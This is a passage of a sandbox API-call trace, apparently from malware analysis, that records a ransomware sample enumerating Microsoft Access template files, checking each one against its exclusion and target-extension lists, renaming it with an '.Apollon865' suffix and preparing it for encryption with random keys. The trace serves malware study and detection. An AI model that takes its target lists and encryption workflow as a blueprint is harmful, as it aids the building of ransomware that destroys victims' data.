	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="temp") returned -1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="pagefile.sys") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="boot") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="ids.txt") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="ntuser.dat") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="perflogs") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="MSBuild") returned 1
	[0065.378] lstrlenW (lpString="Priority.accft") returned 14
	[0065.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft") returned 76
	[0065.378] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Priority.accft" | out: lpString1="Priority.accft") returned="Priority.accft"
	[0065.378] lstrlenW (lpString="Priority.accft") returned 14
	[0065.378] lstrlenW (lpString="Apollon865") returned 10
	[0065.379] lstrcmpiW (lpString1="rity.accft", lpString2="Apollon865") returned 1
	[0065.379] lstrlenW (lpString=".dll") returned 4
	[0065.379] lstrcmpiW (lpString1="Priority.accft", lpString2=".dll") returned 1
	[0065.379] lstrlenW (lpString=".lnk") returned 4
	[0065.379] lstrcmpiW (lpString1="Priority.accft", lpString2=".lnk") returned 1
	[0065.379] lstrlenW (lpString=".ini") returned 4
	[0065.379] lstrcmpiW (lpString1="Priority.accft", lpString2=".ini") returned 1
	[0065.379] lstrlenW (lpString=".sys") returned 4
	[0065.379] lstrcmpiW (lpString1="Priority.accft", lpString2=".sys") returned 1
	[0065.379] lstrlenW (lpString="Priority.accft") returned 14
	[0065.379] lstrlenW (lpString="bak") returned 3
	[0065.379] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.379] lstrlenW (lpString="ba_") returned 3
	[0065.379] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.379] lstrlenW (lpString="dbb") returned 3
	[0065.379] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.379] lstrlenW (lpString="vmdk") returned 4
	[0065.379] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.379] lstrlenW (lpString="rar") returned 3
	[0065.379] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.379] lstrlenW (lpString="zip") returned 3
	[0065.379] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.379] lstrlenW (lpString="tgz") returned 3
	[0065.379] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.379] lstrlenW (lpString="vbox") returned 4
	[0065.379] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.379] lstrlenW (lpString="vdi") returned 3
	[0065.379] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.379] lstrlenW (lpString="vhd") returned 3
	[0065.379] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.379] lstrlenW (lpString="vhdx") returned 4
	[0065.379] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.379] lstrlenW (lpString="avhd") returned 4
	[0065.379] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.379] lstrlenW (lpString="db") returned 2
	[0065.379] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.380] lstrlenW (lpString="db2") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.380] lstrlenW (lpString="db3") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.380] lstrlenW (lpString="dbf") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.380] lstrlenW (lpString="mdf") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.380] lstrlenW (lpString="mdb") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.380] lstrlenW (lpString="sql") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.380] lstrlenW (lpString="sqlite") returned 6
	[0065.380] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.380] lstrlenW (lpString="sqlite3") returned 7
	[0065.380] lstrcmpiW (lpString1="y.accft", lpString2="sqlite3") returned 1
	[0065.380] lstrlenW (lpString="sqlitedb") returned 8
	[0065.380] lstrcmpiW (lpString1="ty.accft", lpString2="sqlitedb") returned 1
	[0065.380] lstrlenW (lpString="xml") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.380] lstrlenW (lpString="$er") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.380] lstrlenW (lpString="4dd") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.380] lstrlenW (lpString="4dl") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.380] lstrlenW (lpString="^^^") returned 3
	[0065.380] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.380] lstrlenW (lpString="abs") returned 3
	[0065.381] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.381] lstrlenW (lpString="abx") returned 3
	[0065.381] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.381] lstrlenW (lpString="accdb") returned 5
	[0065.381] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.381] lstrlenW (lpString="accdc") returned 5
	[0065.381] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.381] lstrlenW (lpString="accde") returned 5
	[0065.381] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.381] lstrlenW (lpString="accdr") returned 5
	[0065.381] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.381] lstrlenW (lpString="accdt") returned 5
	[0065.381] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.381] lstrlenW (lpString="accdw") returned 5
	[0065.381] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.381] lstrlenW (lpString="accft") returned 5
	[0065.381] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.381] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft.Apollon865") returned 90
	[0065.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\priority.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\priority.accft.apollon865"), dwFlags=0x1) returned 1
	[0065.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\priority.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.382] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4397) returned 1
	[0065.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.382] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.383] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.383] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.383] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1430, lpName=0x0) returned 0x150
	[0065.385] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1430) returned 0x100000
	[0065.385] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.386] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.386] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.387] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.387] CloseHandle (hObject=0x150) returned 1
	[0065.387] CloseHandle (hObject=0xc0) returned 1
	[0065.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.387] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5d4200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b5d4200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start End Dates.accft", cAlternateFileName="STARTE~1.ACC")) returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="Apollon865.txt.exe") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2=".") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="..") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="windows") returned -1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="bootmgr") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="temp") returned -1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="pagefile.sys") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="boot") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="ids.txt") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="ntuser.dat") returned 1
	[0065.387] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="perflogs") returned 1
	[0065.388] lstrcmpiW (lpString1="Start End Dates.accft", lpString2="MSBuild") returned 1
	[0065.388] lstrlenW (lpString="Start End Dates.accft") returned 21
	[0065.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft") returned 79
	[0065.388] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Start End Dates.accft" | out: lpString1="Start End Dates.accft") returned="Start End Dates.accft"
	[0065.388] lstrlenW (lpString="Start End Dates.accft") returned 21
	[0065.388] lstrlenW (lpString="Apollon865") returned 10
	[0065.388] lstrcmpiW (lpString1="ates.accft", lpString2="Apollon865") returned 1
	[0065.388] lstrlenW (lpString=".dll") returned 4
	[0065.388] lstrcmpiW (lpString1="Start End Dates.accft", lpString2=".dll") returned 1
	[0065.388] lstrlenW (lpString=".lnk") returned 4
	[0065.388] lstrcmpiW (lpString1="Start End Dates.accft", lpString2=".lnk") returned 1
	[0065.388] lstrlenW (lpString=".ini") returned 4
	[0065.388] lstrcmpiW (lpString1="Start End Dates.accft", lpString2=".ini") returned 1
	[0065.388] lstrlenW (lpString=".sys") returned 4
	[0065.388] lstrcmpiW (lpString1="Start End Dates.accft", lpString2=".sys") returned 1
	[0065.388] lstrlenW (lpString="Start End Dates.accft") returned 21
	[0065.388] lstrlenW (lpString="bak") returned 3
	[0065.388] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.388] lstrlenW (lpString="ba_") returned 3
	[0065.388] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.388] lstrlenW (lpString="dbb") returned 3
	[0065.388] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.388] lstrlenW (lpString="vmdk") returned 4
	[0065.388] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.388] lstrlenW (lpString="rar") returned 3
	[0065.388] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.388] lstrlenW (lpString="zip") returned 3
	[0065.388] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.388] lstrlenW (lpString="tgz") returned 3
	[0065.388] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.388] lstrlenW (lpString="vbox") returned 4
	[0065.388] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.388] lstrlenW (lpString="vdi") returned 3
	[0065.388] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.388] lstrlenW (lpString="vhd") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.389] lstrlenW (lpString="vhdx") returned 4
	[0065.389] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.389] lstrlenW (lpString="avhd") returned 4
	[0065.389] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.389] lstrlenW (lpString="db") returned 2
	[0065.389] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.389] lstrlenW (lpString="db2") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.389] lstrlenW (lpString="db3") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.389] lstrlenW (lpString="dbf") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.389] lstrlenW (lpString="mdf") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.389] lstrlenW (lpString="mdb") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.389] lstrlenW (lpString="sql") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.389] lstrlenW (lpString="sqlite") returned 6
	[0065.389] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.389] lstrlenW (lpString="sqlite3") returned 7
	[0065.389] lstrcmpiW (lpString1="s.accft", lpString2="sqlite3") returned -1
	[0065.389] lstrlenW (lpString="sqlitedb") returned 8
	[0065.389] lstrcmpiW (lpString1="es.accft", lpString2="sqlitedb") returned -1
	[0065.389] lstrlenW (lpString="xml") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.389] lstrlenW (lpString="$er") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.389] lstrlenW (lpString="4dd") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.389] lstrlenW (lpString="4dl") returned 3
	[0065.389] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.389] lstrlenW (lpString="^^^") returned 3
	[0065.390] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.390] lstrlenW (lpString="abs") returned 3
	[0065.390] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.390] lstrlenW (lpString="abx") returned 3
	[0065.390] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.390] lstrlenW (lpString="accdb") returned 5
	[0065.390] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.390] lstrlenW (lpString="accdc") returned 5
	[0065.390] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.390] lstrlenW (lpString="accde") returned 5
	[0065.390] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.390] lstrlenW (lpString="accdr") returned 5
	[0065.390] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.390] lstrlenW (lpString="accdt") returned 5
	[0065.390] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.390] lstrlenW (lpString="accdw") returned 5
	[0065.390] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.390] lstrlenW (lpString="accft") returned 5
	[0065.390] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.390] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft.Apollon865") returned 97
	[0065.390] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\start end dates.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\start end dates.accft.apollon865"), dwFlags=0x1) returned 1
	[0065.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\start end dates.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.391] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4194) returned 1
	[0065.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.391] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.392] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.392] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.392] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1370, lpName=0x0) returned 0x150
	[0065.393] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1370) returned 0x100000
	[0065.398] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.399] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.399] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.400] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.400] CloseHandle (hObject=0x150) returned 1
	[0065.400] CloseHandle (hObject=0xc0) returned 1
	[0065.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.400] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687a3100, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x687a3100, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Status.accft", cAlternateFileName="STATUS~1.ACC")) returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="Apollon865.txt.exe") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2=".") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="..") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="windows") returned -1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="bootmgr") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="temp") returned -1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="pagefile.sys") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="boot") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="ids.txt") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="ntuser.dat") returned 1
	[0065.400] lstrcmpiW (lpString1="Status.accft", lpString2="perflogs") returned 1
	[0065.401] lstrcmpiW (lpString1="Status.accft", lpString2="MSBuild") returned 1
	[0065.401] lstrlenW (lpString="Status.accft") returned 12
	[0065.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft") returned 86
	[0065.401] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Status.accft" | out: lpString1="Status.accft") returned="Status.accft"
	[0065.401] lstrlenW (lpString="Status.accft") returned 12
	[0065.401] lstrlenW (lpString="Apollon865") returned 10
	[0065.401] lstrcmpiW (lpString1="atus.accft", lpString2="Apollon865") returned 1
	[0065.401] lstrlenW (lpString=".dll") returned 4
	[0065.401] lstrcmpiW (lpString1="Status.accft", lpString2=".dll") returned 1
	[0065.401] lstrlenW (lpString=".lnk") returned 4
	[0065.401] lstrcmpiW (lpString1="Status.accft", lpString2=".lnk") returned 1
	[0065.401] lstrlenW (lpString=".ini") returned 4
	[0065.401] lstrcmpiW (lpString1="Status.accft", lpString2=".ini") returned 1
	[0065.401] lstrlenW (lpString=".sys") returned 4
	[0065.401] lstrcmpiW (lpString1="Status.accft", lpString2=".sys") returned 1
	[0065.401] lstrlenW (lpString="Status.accft") returned 12
	[0065.401] lstrlenW (lpString="bak") returned 3
	[0065.401] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.401] lstrlenW (lpString="ba_") returned 3
	[0065.401] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.401] lstrlenW (lpString="dbb") returned 3
	[0065.401] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.401] lstrlenW (lpString="vmdk") returned 4
	[0065.401] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.401] lstrlenW (lpString="rar") returned 3
	[0065.401] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.401] lstrlenW (lpString="zip") returned 3
	[0065.401] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.401] lstrlenW (lpString="tgz") returned 3
	[0065.401] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.401] lstrlenW (lpString="vbox") returned 4
	[0065.401] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.401] lstrlenW (lpString="vdi") returned 3
	[0065.401] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.401] lstrlenW (lpString="vhd") returned 3
	[0065.401] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.402] lstrlenW (lpString="vhdx") returned 4
	[0065.402] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.402] lstrlenW (lpString="avhd") returned 4
	[0065.402] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.402] lstrlenW (lpString="db") returned 2
	[0065.402] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.402] lstrlenW (lpString="db2") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.402] lstrlenW (lpString="db3") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.402] lstrlenW (lpString="dbf") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.402] lstrlenW (lpString="mdf") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.402] lstrlenW (lpString="mdb") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.402] lstrlenW (lpString="sql") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.402] lstrlenW (lpString="sqlite") returned 6
	[0065.402] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.402] lstrlenW (lpString="sqlite3") returned 7
	[0065.402] lstrcmpiW (lpString1="s.accft", lpString2="sqlite3") returned -1
	[0065.402] lstrlenW (lpString="sqlitedb") returned 8
	[0065.402] lstrcmpiW (lpString1="us.accft", lpString2="sqlitedb") returned 1
	[0065.402] lstrlenW (lpString="xml") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.402] lstrlenW (lpString="$er") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.402] lstrlenW (lpString="4dd") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.402] lstrlenW (lpString="4dl") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.402] lstrlenW (lpString="^^^") returned 3
